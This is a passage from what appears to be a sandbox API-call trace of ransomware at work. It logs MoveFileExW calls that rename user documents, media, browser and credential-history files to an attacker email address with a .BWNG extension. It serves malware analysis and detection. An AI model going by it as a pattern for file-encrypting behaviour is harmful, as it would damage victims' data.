halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].dbeixzqt-rt9k9d0r.bwng"), dwFlags=0x1) returned 1 [0137.473] GetTickCount () returned 0x1169c9e [0137.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942570892) returned 1 [0137.474] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].zhQ8KFtd-9TNqXsp6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zhq8kftd-9tnqxsp6.bwng"), dwFlags=0x1) returned 1 [0137.475] GetTickCount () returned 0x1169c9e [0137.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942715279) returned 1 [0137.475] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].VfGxEWyb-H1ieNZea.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].vfgxewyb-h1ienzea.bwng"), dwFlags=0x1) returned 1 [0137.477] GetTickCount () returned 0x1169c9e [0137.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942882224) returned 1 [0137.477] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f90f18257cbb4d84216ac1e1f3bb2c76"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].fDwRAqHa-plQZM7MI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].fdwraqha-plqzm7mi.bwng"), dwFlags=0x1) returned 1 [0137.478] GetTickCount () returned 0x1169c9e [0137.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27943068338) returned 1 [0137.479] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6hscsFmoXXeSmsEX3mq.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6hscsfmoxxesmsex3mq.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].m3VMWKg2-UBLO5YBU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].m3vmwkg2-ublo5ybu.bwng"), dwFlags=0x1) returned 1 [0137.601] GetTickCount () returned 0x1169d1a [0137.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27955293649) returned 1 [0137.601] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\f6IJTY6Vdl_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\f6ijty6vdl_.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].JcuINX0b-vHuNKyD9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].jcuinx0b-vhunkyd9.bwng"), dwFlags=0x1) returned 1 [0137.603] GetTickCount () returned 0x1169d1a [0137.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27955517585) returned 1 [0137.603] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\[billwong73@yahoo.com].XTSU26wp-7MSZihul.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\[billwong73@yahoo.com].xtsu26wp-7mszihul.bwng"), dwFlags=0x1) returned 1 [0137.605] GetTickCount () returned 0x1169d1a [0137.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27955741886) returned 1 [0137.605] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\synchist"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\[billwong73@yahoo.com].Ia5Sg7LU-LmdAfjMp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\[billwong73@yahoo.com].ia5sg7lu-lmdafjmp.bwng"), dwFlags=0x1) returned 1 [0137.607] GetTickCount () returned 0x1169d1a [0137.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27955939673) returned 1 [0137.607] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].Qfeq6sye-lbdexYL3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].qfeq6sye-lbdexyl3.bwng"), dwFlags=0x1) returned 1 [0137.609] GetTickCount () returned 0x1169d2a [0137.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27956145507) returned 1 [0137.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TNUgfEsMrww-FL9zd0J.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tnugfesmrww-fl9zd0j.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].0fHpfGoZ-Z8bc2o2P.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].0fhpfgoz-z8bc2o2p.bwng"), dwFlags=0x1) returned 1 [0137.611] GetTickCount () returned 0x1169d2a [0137.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27956325413) returned 1 [0137.611] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].jlZkPh04-ooQREcNQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].jlzkph04-ooqrecnq.bwng"), dwFlags=0x1) returned 1 [0137.613] GetTickCount () returned 0x1169d2a [0137.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27956493950) returned 1 [0137.613] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\97CLnHAvxmrEz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\97clnhavxmrez.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].ybGxszJj-Cr2VbCjV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].ybgxszjj-cr2vbcjv.bwng"), dwFlags=0x1) returned 1 [0137.614] GetTickCount () returned 0x1169d2a [0137.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27956663304) returned 1 [0137.615] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vfeUTUeBh1s9yx1I.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vfeutuebh1s9yx1i.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].HDVRNh3x-aV1VI1l2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].hdvrnh3x-av1vi1l2.bwng"), dwFlags=0x1) returned 1 [0137.616] GetTickCount () returned 0x1169d2a [0137.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27956823233) returned 1 [0137.616] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].gTlZF5Tg-A2ZJgogB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\[billwong73@yahoo.com].gtlzf5tg-a2zjgogb.bwng"), dwFlags=0x1) returned 1 [0137.618] GetTickCount () returned 0x1169d2a [0137.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27957014297) returned 1 [0137.618] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\[billwong73@yahoo.com].wXrAohCV-yFkVPAIG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\[billwong73@yahoo.com].wxraohcv-yfkvpaig.bwng"), dwFlags=0x1) returned 1 [0137.620] GetTickCount () returned 0x1169d2a [0137.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27957185042) returned 1 [0137.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\29T-sDU9b.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\29t-sdu9b.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].CVO6dKkO-z61AEJgD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].cvo6dkko-z61aejgd.bwng"), dwFlags=0x1) returned 1 [0137.621] GetTickCount () returned 0x1169d2a [0137.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27957333112) returned 1 [0137.621] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fXAhAMunAMg_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fxahamunamg_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].WqLaoAZl-77Vqpa9C.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].wqlaoazl-77vqpa9c.bwng"), dwFlags=0x1) returned 1 [0137.749] GetTickCount () returned 0x1169db6 [0137.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27970171993) returned 1 [0137.750] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pwpfMLqqavxdKLtL_qUI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pwpfmlqqavxdkltl_qui.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].qHppI1UF-vvbrRnUt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].qhppi1uf-vvbrrnut.bwng"), dwFlags=0x1) returned 1 [0137.755] GetTickCount () returned 0x1169db6 [0137.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27970715527) returned 1 [0137.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\X04wySnl7-R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\x04wysnl7-r.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].O0UHjzq0-vnjjlvr6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].o0uhjzq0-vnjjlvr6.bwng"), dwFlags=0x1) returned 1 [0137.756] GetTickCount () returned 0x1169db6 [0137.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27970870821) returned 1 [0137.757] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].mVFwPt7M-89LFhmKu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].mvfwpt7m-89lfhmku.bwng"), dwFlags=0x1) returned 1 [0137.867] GetTickCount () returned 0x1169e24 [0137.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27981906525) returned 1 [0137.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\Dv-CZ4t.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\dv-cz4t.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].HyyS1kxF-ntPKc5g4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].hyys1kxf-ntpkc5g4.bwng"), dwFlags=0x1) returned 1 [0137.869] GetTickCount () returned 0x1169e24 [0137.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982096335) returned 1 [0137.869] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\[billwong73@yahoo.com].xuIOos0d-rwcvXYWd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\[billwong73@yahoo.com].xuioos0d-rwcvxywd.bwng"), dwFlags=0x1) returned 1 [0137.870] GetTickCount () returned 0x1169e24 [0137.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982268783) returned 1 [0137.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Kz2TR_C69sox5tTLjJPa.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kz2tr_c69sox5ttljjpa.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].MPLw1haY-znxWVT6A.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].mplw1hay-znxwvt6a.bwng"), dwFlags=0x1) returned 1 [0137.872] GetTickCount () returned 0x1169e24 [0137.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982429015) returned 1 [0137.872] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\I0O zSMYsdKScTT3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\i0o zsmysdksctt3.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].IQwdtuv0-1sGYdVBL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].iqwdtuv0-1sgydvbl.bwng"), dwFlags=0x1) returned 1 [0137.874] GetTickCount () returned 0x1169e33 [0137.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982589588) returned 1 [0137.874] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\EgOofJDaIKBxCoWk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\egoofjdaikbxcowk.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].vKjMKptJ-dAgXwLTs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].vkjmkptj-dagxwlts.bwng"), dwFlags=0x1) returned 1 [0137.875] GetTickCount () returned 0x1169e33 [0137.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982748136) returned 1 [0137.876] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\yeakTYmeHN2oNQEbTGb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\yeaktymehn2onqebtgb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].12liCaBS-qVedUZRb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].12licabs-qveduzrb.bwng"), dwFlags=0x1) returned 1 [0137.877] GetTickCount () returned 0x1169e33 [0137.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27982884072) returned 1 [0137.877] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].Neu0VocL-cgpZmLsS.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].neu0vocl-cgpzmlss.bwng"), dwFlags=0x1) returned 1 [0137.879] GetTickCount () returned 0x1169e33 [0137.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983082588) returned 1 [0137.879] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\[billwong73@yahoo.com].DPoY2SsT-V6QTU7eU.BWNG" (normalized: "c:\\users\\all users\\microsoft\\mf\\[billwong73@yahoo.com].dpoy2sst-v6qtu7eu.bwng"), dwFlags=0x1) returned 1 [0137.880] GetTickCount () returned 0x1169e33 [0137.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983244339) returned 1 [0137.880] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].QFv129FZ-4KwPAcGp.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].qfv129fz-4kwpacgp.bwng"), dwFlags=0x1) returned 0 [0137.881] GetTickCount () returned 0x1169e33 [0137.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983308089) returned 1 [0137.881] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].ecstJfAq-4l4pl3lg.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].ecstjfaq-4l4pl3lg.bwng"), dwFlags=0x1) returned 0 [0137.881] GetTickCount () returned 0x1169e33 [0137.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983361694) returned 1 [0137.882] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].EjVzy7pK-9mPSHml4.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].ejvzy7pk-9mpshml4.bwng"), dwFlags=0x1) returned 0 [0137.882] GetTickCount () returned 0x1169e33 [0137.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983414157) returned 1 [0137.882] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].c8oIGzPh-MmVd5UcY.BWNG" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].c8oigzph-mmvd5ucy.bwng"), dwFlags=0x1) returned 0 [0137.883] GetTickCount () returned 0x1169e33 [0137.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983476635) returned 1 [0137.883] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].yNfIB7Yv-6lscCpPi.BWNG" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].ynfib7yv-6lsccppi.bwng"), dwFlags=0x1) returned 0 [0137.883] GetTickCount () returned 0x1169e33 [0137.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983542584) returned 1 [0137.883] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].AuqJK1T4-IqjNDPtj.BWNG" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].auqjk1t4-iqjndptj.bwng"), dwFlags=0x1) returned 0 [0137.884] GetTickCount () returned 0x1169e33 [0137.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983604060) returned 1 [0137.884] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].40YypkJ0-iZAHzcF1.BWNG" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].40yypkj0-izahzcf1.bwng"), dwFlags=0x1) returned 0 [0137.884] GetTickCount () returned 0x1169e33 [0137.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27983672866) returned 1 [0137.885] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\[billwong73@yahoo.com].hxd4ScPM-4wp3wWFC.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\[billwong73@yahoo.com].hxd4scpm-4wp3wwfc.bwng"), dwFlags=0x1) returned 1 [0137.958] GetTickCount () returned 0x1169e81 [0137.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991037978) returned 1 [0137.959] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].XkoBoznS-nKjeBBUJ.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync 